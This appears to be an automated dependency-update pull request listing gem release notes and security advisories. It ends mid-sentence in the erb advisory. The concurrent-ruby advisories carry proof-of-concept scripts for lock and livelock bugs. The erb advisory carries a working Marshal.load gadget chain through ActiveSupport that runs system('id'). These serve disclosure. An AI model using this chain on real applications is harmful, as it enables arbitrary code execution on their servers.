  • Fix issue where bootstrap.rb overwrites the level of a BroadcastLogger's broadcasts.

    Andrew Novoselac

  • Fix compatibility with the semantic_logger gem.

    The semantic_logger gem doesn't behave exactly like stdlib logger in that SemanticLogger#level returns a Symbol while stdlib Logger#level returns an Integer.

    This caused the various LogSubscriber classes in Rails to break when assigned a SemanticLogger instance.

    Jean Boussier, ojab

  • Fix MemoryStore to prevent race conditions when incrementing or decrementing.

    Pierre Jambet

  • Implement HashWithIndifferentAccess#to_proc.

    Previously, calling #to_proc on HashWithIndifferentAccess object used inherited #to_proc method from the Hash class, which was not able to access values using indifferent keys.

    fatkodima

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ bigdecimal (indirect, 3.2.2 → 4.1.2) · Repo · Changelog

Release Notes

4.1.2

What's Changed

  • Optimize BigDecimal#to_s by @byroot in #519
  • Fix calloc-transposed-args warning by @nobu in #520
  • Use '0'+n for converting single digit to char by @tompng in #521
  • Revert "Add a workaround for slow BigDecimal#to_f when it has large N_significant_digits" by @tompng in #522
  • BigMath.exp overflow/underflow check by @tompng in #523
  • Fix unary minus on unsigned type warning by @tompng in #525
  • Update dtoa to version from Ruby 4.0 by @jhawthorn in #528
  • Bump version to v4.1.2 by @tompng in #529

New Contributors

Full Changelog: v4.1.1...v4.1.2

4.1.1

What's Changed

New Contributors

Full Changelog: v4.1.0...v4.1.1

4.1.0

What's Changed

  • Remove ENABLE_NUMERIC_STRING flag by @tompng in #479
  • Sample code without deprecated modules by @tompng in #480
  • Improve performance of add/sub when exponent of two bigdecimals have huge difference by @tompng in #478
  • Change frozen_string_literal from false to true by @tompng in #481
  • NTT multiplication and Newton-Raphson division by @tompng in #407
  • Implement BigMath::PI with Gauss-Legendre algorithm by @tompng in #434
  • Improve taylor series calculation of exp and sin by bit burst algorithm by @tompng in #433
  • Remove calculating log(10) in BigMath.log for large/small x by @tompng in #484
  • Add missing call-seq by @tompng in #485
  • Split internal extra calculation prec and BigDecimal.double_fig usage by @tompng in #486
  • Add RBS signature and testing by @ksss in #488
  • Add missing sig file by @ksss in #492
  • Simplify butterfly operation of Number Theoretic Transform by @tompng in #496
  • Assume always have uint64_t by @tompng in #497
  • Use bit_length to calculate NTT bit size by @tompng in #498
  • Update depend files, etc by @tompng in #499
  • Fix erfc(x,prec) precision when x is huge by @tompng in #502
  • Increase BigMath converge test precisions by @tompng in #503
  • Fix error compiling with ruby.wasm by @tompng in #504
  • Bump version to 4.1.0 by @tompng in #505

New Contributors

  • @ksss made their first contribution in #488

Full Changelog: v4.0.1...v4.1.0

4.0.1

What's Changed

  • Exclude dependabot updates from release note by @hsbt in #474
  • Remove unused variable (and add test for it) by @tompng in #475
  • Remove "Which version should you select" section by @tompng in #476
  • Bump version to v4.0.1 by @tompng in #477

Full Changelog: v4.0.0...v4.0.1

4.0.0

What's Changed

  • Fix x**y, x.power(y, 0) and x.sqrt(0) calculates huge digits if precision limit is huge by @tompng in #445
  • Implement major math functions by @tompng in #336
  • Fix fast-path of frac and _decimal_shift affected by BigDecimal.limit by @tompng in #447
  • Update the latest versions of actions by @hsbt in #449
  • Add missing bigmath precision test, add missing indent by @tompng in #450
  • Make BigMath.exp and log also a module_method by @tompng in #452
  • Fix incorrect exception when exponent is fractional for Infinity base by @troy-dunamu in #453
  • Bump step-security/harden-runner from 2.13.1 to 2.13.2 by @dependabot[bot] in #454
  • Don't use assert_separatly if not needed by @tompng in #455
  • Bump actions/checkout from 5.0.0 to 6.0.0 by @dependabot[bot] in #456
  • Bump actions/checkout from 5.0.1 to 6.0.0 by @dependabot[bot] in #457
  • Add missing BigMath test for jruby by @tompng in #459
  • Change remainder/modulo/divmod test of +0/-0 type tolerant by @tompng in #460
  • Cast divmod quotient to int by @mrzasa in #312
  • Bump actions/checkout from 6.0.0 to 6.0.1 by @dependabot[bot] in #462
  • Bump step-security/harden-runner from 2.13.2 to 2.13.3 by @dependabot[bot] in #461
  • Implement BigMath.erf(x, prec) and BigMath.erfc(x, prec) by @tompng in #357
  • Implement BigMath.gamma and BigMath.lgamma by @tompng in #451
  • Fix typos + improve copy/paste in readme by @tas50 in #463
  • Fix inaccurate calculation (last digit) and add a workaround for add/sub hang bug by @tompng in #465
  • Fix lgamma precision around 1 and 2 by @tompng in #466
  • Fix lgamma precision when gamma(negative_x).abs nearly equals 1 by @tompng in #467
  • Implement BigMath.frexp and ldexp with exponent of 10 by @tompng in #448
  • Bump step-security/harden-runner from 2.13.3 to 2.14.0 by @dependabot[bot] in #468
  • Better rounding of BigMath.atan(nearly_one, prec) by @tompng in #469
  • Remove deprecated method BigDecimal#precs by @tompng in #470
  • Deprecate ludcmp, jacobian and newton by @tompng in #471
  • Bump version to v4.0.0 by @tompng in #472

New Contributors

Full Changelog: v3.3.1...v4.0.0

3.3.1

What's Changed

  • Fix modulo/remainder of negative zero by @tompng in #441
  • Unify all precision validation to be consistent with BigDecimal#add by @tompng in #442
  • Bump version to 3.3.1 by @tompng in #443

Full Changelog: v3.3.0...v3.3.1

3.3.0

What's Changed

  • Allow calling Rational#to_d without arguments by @fsateler in #421
  • Fix test_no_memory_leak failure by @tompng in #424
  • Change BigMath.sin and cos to always calculate in relative precision. by @tompng in #422
  • Faster exp calculation by @tompng in #399
  • Rename assert_relative_precision to assert_converge_in_precision by @tompng in #425
  • Add support for tangent function by @rhannequin in #231
  • Make bigdecimal.rb work in JRuby by @tompng in #420
  • BigMath methods common interface: coerce x, validate prec, check nan error by @tompng in #415
  • Round result of sqrt and BigMath methods by @tompng in #427
  • Update example calculation result in BigMath document by @tompng in #428
  • BigMath.log(0,n)==-Infinity just like Math.log(0) by @tompng in #430
  • Fix divmod and modulo by infinity to match Float#divmod and Float#modulo by @tompng in #429
  • Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #431
  • Make internal BigMath method a private method by @tompng in #432
  • Improve performance of x**y when y is a huge value by @tompng in #438
  • Fix precision of x.power(y, prec) when the result is nearly infinity by @tompng in #439
  • Bump version to 3.3.0 by @tompng in #437

New Contributors

Full Changelog: v3.2.3...v3.3.0

3.2.3

What's Changed

  • Fix sign of bigdecimal**bigint by @tompng in #341
  • Fix BigMath.atan precision safe margin by @tompng in #320
  • Fix typo in BigDecimal#scale comment by @timcraft in #348
  • Allow BigDecimal accept Float without precision by @mrzasa in #314
  • Fix edgecase segfault of BigDecimal#remainder by @tompng in #349
  • Fix precision of BigMath.sin(x,prec) and BigMath.cos(x,prec) for large x by @tompng in #346
  • Fix wrong converge check in VpSqrt by @tompng in #353
  • Bump step-security/harden-runner from 2.12.0 to 2.12.1 by @dependabot[bot] in #356
  • Ensure BigMath.sin and BigMath.cos to be within -1..1 by @tompng in #317
  • Remove BigDecimal_divremain(which has a bug) and use BigDecimal_DoDivmod instead by @tompng in #351
  • Bump step-security/harden-runner from 2.12.1 to 2.12.2 by @dependabot[bot] in #359
  • Remove back pointer from Real to VALUE by @tompng in #344
  • Update docs for #to_d core extensions by @dduugg in #360
  • Fix compiling issue (when BIGDECIMAL_DEBUG is 1) by @tompng in #363
  • Use a correct term: engineering notation -> scientific notation by @mame in #365
  • Fix to_f underflow check when DECDIG is uint16_t by @tompng in #364
  • Fix VpNumOfChars calculation for the longest case by @tompng in #366
  • Fix a bug that exponent overflow is ignored in add, sub, mult and div operation by @tompng in #367
  • Fix dump/load bigdecimal with few or large precs by @tompng in #362
  • Refactor AddExponent overflow/underflow check by @tompng in #368
  • Strict BigDecimal("0.1e#{exponent}") exponent overflow/underflow check by @tompng in #369
  • Add DECDIG=16bit CI workflow by @tompng in #370
  • Fix wrong multiplying BASE_FIG in precision calculation by @tompng in #372
  • Remove debug print by @tompng in #375
  • Remove unused #define macros by @tompng in #376
  • VpDivd bugfix by @tompng in #374
  • Fix VpDivd to fully use quotient array by @tompng in #377
  • Add RB_GC_GUARD to test-only methods by @tompng in #378
  • Use minimum necessary division precision in BigDecimal_DoDivmod by @tompng in #371
  • Remove dead code and ineffective optimization path form VpDivd by @tompng in #379
  • Implement exp, log, power and ** in ruby by @tompng in #347
  • Remove unused "# define" macros by @tompng in #382
  • Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #383
  • VpFormatSt O(n^2) to O(n) by @tompng in #384
  • Ignore ndigits passed to BigDecimal(string, ndigits) by @tompng in #385
  • Better error message for negative**intinite and zero-converge case fix by @tompng in #386
  • Refactor truncate floor and ceil duplicated part by @tompng in #387
  • Fix exp log power to raise "Computation results in Infinity/NaN" in EXCEPTION_INFINITY/EXCEPTION_NaN mode by @tompng in #389
  • Reduce guard obj by @tompng in #390
  • Remove ENTER and GUARD_OBJ macro by @tompng in #391
  • Coerce to bigdecimal refactor by @tompng in #392
  • Coerce rational with the given prec in exp, log and power calculation by @tompng in #393
  • Unify coerce prec calculation by @tompng in #394
  • Use bool instead of Qtrue/Qfalse for normal c boolish value by @tompng in #395
  • Fix adjusting x to 0.3..3 in log calculation by @tompng in #397
  • missing.h cleanup by @tompng in #396
  • Hide internal method of BigMath into BigDecimal::Internal by @tompng in #400
  • Remove gc_compaction test by @tompng in #401
  • Bump actions/checkout from 4 to 5 by @dependabot[bot] in #402
  • Fix VpMult result size calculation by @tompng in #403
  • Fix GetAddSubPrec calculation by @tompng in #406
  • Fix PrecLimit not restored on exception by @tompng in #405
  • Fix div,modulo,remainder and divmod precision when prec limit is specified by @tompng in #408
  • Fix x.fix and x.frac affected by prec limit, Stop -x and x.abs round with prec limit by @tompng in #409
  • Don't use ZeroWrapLimited. Use unlimited version instead. by @tompng in #410
  • Fix x / y precision when prec limit is huge by @tompng in #412
  • Calculate exp, log, pow with the given prec even if prec limit is set by @tompng in #411
  • Simplify to_i logic by @tompng in #413
  • Add BigMath::E and BigMath::PI precision test by @tompng in #414
  • Rewrite BigDecimal#sqrt in ruby with improved Newton's method by @tompng in #381
  • Update bigdecimal version used in benchmark from 3.0.0 to 3.1.1 by @tompng in #416
  • Implement BigDecimal#_decimal_shift for internal use by @tompng in #324
  • In JRuby, don't add sqrt, exp, log, power implemented in ruby by @tompng in #417
  • Add JRuby minimum ci by @tompng in #418
  • Bump version to 3.2.3 by @tompng in #419

New Contributors

Full Changelog: v3.2.2...v3.2.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ concurrent-ruby (indirect, 1.3.5 → 1.3.8) · Repo · Changelog

Security Advisories 🚨

🚨 Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`

Summary

Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.

The issue is caused by the interaction between:

  • AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
  • Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
  • Ruby NaN semantics, where Float::NAN == Float::NAN is always false.

As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.

Version

Software: concurrent-ruby
Version: 1.3.6
Commit: 7a1b789

Details

AtomicReference#update retries until compare_and_set returns true:

def update
  true until compare_and_set(old_value = get, new_value = yield(old_value))
  new_value
end

For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:

def compare_and_set(old_value, new_value)
  if old_value.kind_of? Numeric
    while true
      old = get

      return false unless old.kind_of? Numeric
      return false unless old == old_value

      result = _compare_and_set(old, new_value)
      return result if result
    end
  else
    _compare_and_set(old_value, new_value)
  end
end

When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.

This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.

PoC

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false

worker = Thread.new do
  ref.update do |_old_value|
    attempts += 1
    0.0
  end
  finished = true
end

sleep 0.25

puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000
  puts 'result=REPRODUCED busy retry loop; update did not complete'
else
  puts 'result=NOT_REPRODUCED'
end

worker.kill
worker.join

control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
  control_attempts += 1
  old_value + 1.0
end

puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"

Log evidence

ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0

Impact

This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

🚨 Concurrent Ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity

Summary

Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times.

The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit.

This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.

Version

Software: concurrent-ruby
Version: 1.3.6
Commit: 7a1b789

Details

The implementation uses a shared counter to track global readers/writers and a per-thread local counter to support reentrancy:

READER_BITS    = 15
WRITER_BITS    = 14

WAITING_WRITER = 1 << READER_BITS
RUNNING_WRITER = 1 << (READER_BITS + WRITER_BITS)
MAX_READERS    = WAITING_WRITER - 1
MAX_WRITERS    = RUNNING_WRITER - MAX_READERS - 1

WRITE_LOCK_HELD = 1 << READER_BITS
READ_LOCK_MASK  = WRITE_LOCK_HELD - 1
WRITE_LOCK_MASK = MAX_WRITERS

When a thread already holds a lock, acquire_read_lock increments @HeldCount:

if (held = @HeldCount.value) > 0
  if held & READ_LOCK_MASK == 0
    @Counter.update { |c| c + 1 }
  end
  @HeldCount.value = held + 1
  return true
end

After 32,768 read acquisitions, the per-thread held count becomes 32768, which is equal to WRITE_LOCK_HELD. Then try_write_lock returns success through its "already have a write lock" branch:

def try_write_lock
  if (held = @HeldCount.value) >= WRITE_LOCK_HELD
    @HeldCount.value = held + WRITE_LOCK_HELD
    return true
  else
    # normal global writer acquisition path
  end
end

This branch does not set the global RUNNING_WRITER bit. Other threads therefore do not observe an active writer and can continue holding or acquiring read locks while the caller believes it owns the write lock.

PoC

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'concurrent/atomic/reentrant_read_write_lock'
require 'concurrent/version'
require 'thread'

def wait_for_queue(queue, timeout_seconds)
  deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout_seconds
  loop do
    return queue.pop(true)
  rescue ThreadError
    return nil if Process.clock_gettime(Process::CLOCK_MONOTONIC) >= deadline

    sleep 0.001
  end
end

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity"

lock = Concurrent::ReentrantReadWriteLock.new
other_reader_ready = Queue.new
other_reader_stop = Queue.new

other_reader = Thread.new do
  lock.acquire_read_lock
  other_reader_ready << :held
  other_reader_stop.pop
end

wait_for_queue(other_reader_ready, 1)
puts "other_thread_holds_read_lock=true"

depth = Concurrent::ReentrantReadWriteLock::WRITE_LOCK_HELD
depth.times { lock.acquire_read_lock }

held_count = lock.instance_eval { @HeldCount.value }
counter_before = lock.instance_eval { @Counter.value }

puts "main_thread_read_acquisitions=#{depth}"
puts "main_thread_held_count=#{held_count}"
puts "counter_before_try_write=#{counter_before}"
puts "running_writer_bit_before=#{(counter_before & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}"

write_granted = lock.try_write_lock
counter_after = lock.instance_eval { @Counter.value }

puts "try_write_lock_returned=#{write_granted}"
puts "counter_after_try_write=#{counter_after}"
puts "running_writer_bit_after=#{(counter_after & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}"

third_reader_ready = Queue.new
third_reader = Thread.new do
  lock.acquire_read_lock
  third_reader_ready << :acquired
end

third_reader_acquired = wait_for_queue(third_reader_ready, 0.25) == :acquired
puts "new_reader_acquired_while_write_claimed=#{third_reader_acquired}"

if write_granted && third_reader_acquired && (counter_after & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER).zero?
  puts 'result=REPRODUCED write lock granted without setting global writer state'
else
  puts 'result=NOT_REPRODUCED'
end

third_reader.kill
other_reader_stop << :stop
other_reader.kill

Log evidence

ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity
other_thread_holds_read_lock=true
main_thread_read_acquisitions=32768
main_thread_held_count=32768
counter_before_try_write=2
running_writer_bit_before=false
try_write_lock_returned=true
counter_after_try_write=2
running_writer_bit_after=false
new_reader_acquired_while_write_claimed=true
result=REPRODUCED write lock granted without setting global writer state

Impact

This breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

🚨 Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption

Summary

Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.

Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError.

This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.

Version

Software: concurrent-ruby
Version: 1.3.6
Commit: 7a1b789

Details

release_write_lock checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:

def release_write_lock
  return true unless running_writer?
  c = @Counter.update { |counter| counter - RUNNING_WRITER }
  @ReadLock.broadcast
  @WriteLock.signal if waiting_writers(c) > 0
  true
end

Because ownership is not checked, a different thread can clear the RUNNING_WRITER bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.

release_read_lock unconditionally decrements the shared counter:

def release_read_lock
  while true
    c = @Counter.value
    if @Counter.compare_and_set(c, c-1)
      if waiting_writer?(c) && running_readers(c) == 1
        @WriteLock.signal
      end
      break
    end
  end
  true
end

On a fresh lock, this changes the counter from 0 to -1. A later acquire_read_lock raises Concurrent::ResourceLimitError because the maximum-reader check masks the negative counter as saturated.

Reproduce

From the root of a concurrent-ruby checkout, run:

ruby -Ilib/concurrent-ruby - <<'RUBY'
require 'concurrent/atomic/read_write_lock'
require 'concurrent/version'
require 'thread'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReadWriteLock release methods corrupt or bypass lock state"

lock = Concurrent::ReadWriteLock.new
events = Queue.new
writer1_inside = false

writer1 = Thread.new do
  lock.acquire_write_lock
  writer1_inside = true
  events << :writer1_acquired
  sleep 0.5
  writer1_inside = false
  lock.release_write_lock
  events << :writer1_finished
end

events.pop
puts 'writer1_acquired=true'

intruder_result = nil
intruder = Thread.new do
  intruder_result = lock.release_write_lock
end
intruder.join

puts "wrong_thread_release_write_lock_returned=#{intruder_result}"

writer2_entered_while_writer1_inside = nil
writer2 = Thread.new do
  lock.acquire_write_lock
  writer2_entered_while_writer1_inside = writer1_inside
  lock.release_write_lock
end

writer2.join(0.25)

puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}"

writer1.join

lock2 = Concurrent::ReadWriteLock.new
stray_read_release_result = lock2.release_read_lock
counter_after_stray_read_release = lock2.instance_eval { @Counter.value }
read_after_stray_release = begin
  lock2.acquire_read_lock
  'acquired'
rescue => error
  "#{error.class}: #{error.message}"
end

puts "stray_release_read_lock_returned=#{stray_read_release_result}"
puts "counter_after_stray_read_release=#{counter_after_stray_read_release}"
puts "acquire_read_after_stray_release=#{read_after_stray_release}"

if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1
  puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'
else
  puts 'result=NOT_REPRODUCED'
end

Expected result:

  • A second thread successfully calls release_write_lock while the first writer still holds the lock.
  • A second writer enters while the first writer is still inside the write critical section.
  • Calling release_read_lock on a fresh lock changes the counter to -1.
  • A subsequent read acquisition fails with Concurrent::ResourceLimitError.

Log evidence

Local reproduction output:

ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReadWriteLock release methods corrupt or bypass lock state
writer1_acquired=true
wrong_thread_release_write_lock_returned=true
writer2_acquired_while_writer1_inside=true
stray_release_read_lock_returned=true
counter_after_stray_read_release=-1
acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads
result=REPRODUCED wrong-thread write release and stray read-release corruption

Impact

This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.
The impact is local to applications that expose or misuse the manual acquire_* / release_* APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Release Notes

1.3.8

What's Changed

New Contributors

Full Changelog: v1.3.7...v1.3.8

1.3.7

There are 3 security fixes in this release, so updating is recommended.
These security vulnerabilities are not very likely to be hit in practice and have a corresponding Low severity score.

What's Changed

New Contributors

Full Changelog: v1.3.6...v1.3.7

1.3.6

What's Changed

New Contributors

Full Changelog: v1.3.5...v1.3.6

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 40 commits:

↗️ connection_pool (indirect, 2.5.3 → 3.0.2) · Repo · Changelog

Release Notes

3.0.2 (from changelog)

  • Support :name keyword for backwards compatibility [#210]

3.0.1 (from changelog)

  • Add missing fork.rb to gemspec.

3.0.0 (from changelog)

  • BREAKING CHANGES ConnectionPool and ConnectionPool::TimedStack now use keyword arguments rather than positional arguments everywhere. Expected impact is minimal as most people use the with API, which is unchanged.
pool = ConnectionPool.new(size: 5, timeout: 5)
pool.checkout(1) # 2.x
pool.reap(30)    # 2.x
pool.checkout(timeout: 1) # 3.x
pool.reap(idle_seconds: 30) # 3.x
  • Dropped support for Ruby <3.2.0

2.5.5 (from changelog)

  • Support ConnectionPool::TimedStack#pop(exception: false) [#207] to avoid using exceptions as control flow.

2.5.4 (from changelog)

  • Add ability to remove a broken connection from the pool [#204, womblep]

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 19 commits:

↗️ crass (indirect, 1.0.6 → 1.0.7) · Repo · Changelog

Release Notes

1.0.7

Security

  • High: Fixed a denial of service vulnerability in which a large numeric exponent could consume disproportionate CPU and memory before the value was clamped. Exponents are now bounded before 10**exponent is computed. (GHSA-6wmf-3r64-vcwv)

  • Moderate: Fixed a scenario in which deeply nested simple blocks or functions could exhaust the Ruby stack and raise SystemStackError, or could result in excessive memory usage. Parser nesting is now limited to a configurable maximum depth via a new option (:maximum_depth, with a conservative default of 25). Constructs nested more deeply are discarded as an :error node with the value "maximum-depth-exceeded". (GHSA-6jxj-px6v-747w)

  • Moderate: Fixed a scenario in which a long run of adjacent comments could exhaust the Ruby stack and raise SystemStackError. Discarded comments are now skipped iteratively rather than recursively. (GHSA-wwpr-jff3-395c)

  • Moderate: Fixed a denial of service vulnerability in which inputs containing many non-ASCII characters could cause excessive CPU usage due to inefficient handling of multi-byte characters during tokenization. (GHSA-8vfg-2r28-hvhj)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 26 commits:

↗️ date (indirect, 3.4.1 → 3.5.1) · Repo · Changelog

Release Notes

3.5.1

What's Changed

  • Remove archaic conditions by @nobu in #144
  • [DOC] Remove the name from same file references by @nobu in #147
  • Call rb_gc_register_mark_object after object allocation by @peterzhu2118 in #149

New Contributors

Full Changelog: v3.5.0...v3.5.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ erb (indirect, 5.0.2 → 6.0.6) · Repo · Changelog

Security Advisories 🚨

🚨 ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

  • ERB#def_method
  • ERB#def_module
  • ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

Details

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

  1. Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
  2. Hash key insertion calls .hash on the proxy
  3. .hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
  4. def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

